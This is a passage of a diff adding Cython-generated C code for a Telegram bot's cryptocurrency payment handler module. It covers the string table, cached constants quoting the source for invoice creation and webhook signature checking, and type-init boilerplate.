sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_check_hash, __pyx_k_check_hash, sizeof(__pyx_k_check_hash), 0, 0, 1, 1}, + {&__pyx_n_s_check_signature, __pyx_k_check_signature, sizeof(__pyx_k_check_signature), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_crypto, __pyx_k_choosing_amount_crypto, sizeof(__pyx_k_choosing_amount_crypto), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_create_invoice, __pyx_k_create_invoice, sizeof(__pyx_k_create_invoice), 0, 0, 1, 1}, + {&__pyx_n_u_crypto, __pyx_k_crypto, sizeof(__pyx_k_crypto), 0, 1, 0, 1}, + {&__pyx_n_s_crypto_2, __pyx_k_crypto_2, sizeof(__pyx_k_crypto_2), 0, 0, 1, 1}, + {&__pyx_kp_u_crypto_amount, __pyx_k_crypto_amount, sizeof(__pyx_k_crypto_amount), 0, 1, 0, 0}, + {&__pyx_n_s_crypto_pay_signature, __pyx_k_crypto_pay_signature, sizeof(__pyx_k_crypto_pay_signature), 0, 0, 1, 1}, + {&__pyx_n_u_cryptobot, __pyx_k_cryptobot, sizeof(__pyx_k_cryptobot), 0, 1, 0, 1}, + {&__pyx_n_s_cryptobot_webhook, __pyx_k_cryptobot_webhook, sizeof(__pyx_k_cryptobot_webhook), 0, 0, 1, 1}, + {&__pyx_n_s_custom_payload, __pyx_k_custom_payload, sizeof(__pyx_k_custom_payload), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 0, 1, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_crypto, __pyx_k_enter_custom_amount_crypto, sizeof(__pyx_k_enter_custom_amount_crypto), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_crypto, __pyx_k_entering_custom_amount_crypto, sizeof(__pyx_k_entering_custom_amount_crypto), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_cryprobot_pay, __pyx_k_handlers_payments_cryprobot_pay, sizeof(__pyx_k_handlers_payments_cryprobot_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_k_handlers_payments_cryprobot_pay_2, sizeof(__pyx_k_handlers_payments_cryprobot_pay_2), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_kp_u_hash_cryptobot, __pyx_k_hash_cryptobot, sizeof(__pyx_k_hash_cryptobot), 0, 1, 0, 0}, + {&__pyx_n_s_headers, __pyx_k_headers, sizeof(__pyx_k_headers), 0, 0, 1, 1}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_invoice, __pyx_k_invoice, sizeof(__pyx_k_invoice), 0, 0, 1, 1}, + {&__pyx_n_u_invoice_paid, __pyx_k_invoice_paid, sizeof(__pyx_k_invoice_paid), 0, 1, 0, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_network, __pyx_k_network, sizeof(__pyx_k_network), 0, 0, 1, 1}, + {&__pyx_n_u_paid, __pyx_k_paid, sizeof(__pyx_k_paid), 0, 1, 0, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_cryptobot, __pyx_k_pay_cryptobot, sizeof(__pyx_k_pay_cryptobot), 0, 1, 0, 1}, + {&__pyx_n_s_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 0, 1, 1}, + {&__pyx_n_u_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 1, 0, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_cryptobot, __pyx_k_process_callback_pay_cryptobot, sizeof(__pyx_k_process_callback_pay_cryptobot), 0, 0, 1, 1}, + {&__pyx_n_s_process_crypto_payment, __pyx_k_process_crypto_payment, sizeof(__pyx_k_process_crypto_payment), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_u_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 1, 0, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_token, __pyx_k_token, sizeof(__pyx_k_token), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_u_update_type, __pyx_k_update_type, sizeof(__pyx_k_update_type), 0, 1, 0, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_user_id_str, __pyx_k_user_id_str, sizeof(__pyx_k_user_id_str), 0, 0, 1, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_warning, __pyx_k_warning, sizeof(__pyx_k_warning), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 53, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 103, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/cryprobot_pay.py":83 + * session=session, + * ) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " :", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__4 = PyTuple_Pack(1, __pyx_kp_u__3); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__4); + __Pyx_GIVEREF(__pyx_tuple__4); + + /* "handlers/payments/cryprobot_pay.py":94 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__7 = PyTuple_Pack(2, __pyx_kp_u__6, __pyx_int_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__7); + __Pyx_GIVEREF(__pyx_tuple__7); + + /* "handlers/payments/cryprobot_pay.py":159 + * async def check_hash(request): + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( # <<<<<<<<<<<<<< + * "Crypto-Pay-Api-Signature", "No value" + * ) + */ + __pyx_tuple__23 = PyTuple_Pack(2, __pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_kp_u_No_value); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__23); + __Pyx_GIVEREF(__pyx_tuple__23); + + /* "handlers/payments/cryprobot_pay.py":191 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__29 = PyTuple_Pack(1, __pyx_kp_u__28); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__29); + __Pyx_GIVEREF(__pyx_tuple__29); + + /* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__35 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_callback_pay_cryptobot, 38, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__36 = PyTuple_Pack(1, __pyx_kp_u_crypto_amount); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + __pyx_tuple__37 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_amount_selection, 90, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 90, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":134 + * + * + * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< + * try: + * if not check_hash(request): + */ + __pyx_tuple__38 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_e); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 134, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__38); + __Pyx_GIVEREF(__pyx_tuple__38); + __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_cryptobot_webhook, 134, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 134, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + __pyx_tuple__39 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_body_text, __pyx_n_s_crypto_pay_signature); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__39); + __Pyx_GIVEREF(__pyx_tuple__39); + __pyx_codeobj__22 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__39, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_check_hash, 157, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__22)) __PYX_ERR(0, 157, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + __pyx_tuple__40 = PyTuple_Pack(7, __pyx_n_s_payload, __pyx_n_s_custom_payload, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__40); + __Pyx_GIVEREF(__pyx_tuple__40); + __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_crypto_payment, 167, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__41 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__41); + __Pyx_GIVEREF(__pyx_tuple__41); + __pyx_codeobj__26 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__41, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_enter_custom_amount, 184, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__26)) __PYX_ERR(0, 184, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__42 = PyTuple_Pack(6, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__42); + __Pyx_GIVEREF(__pyx_tuple__42); + __pyx_codeobj__30 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 6, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__42, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_custom_amount_input, 199, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__30)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_500 = PyInt_FromLong(500); if (unlikely(!__pyx_int_500)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot)) __PYX_ERR(0, 38, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 90, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_spec, 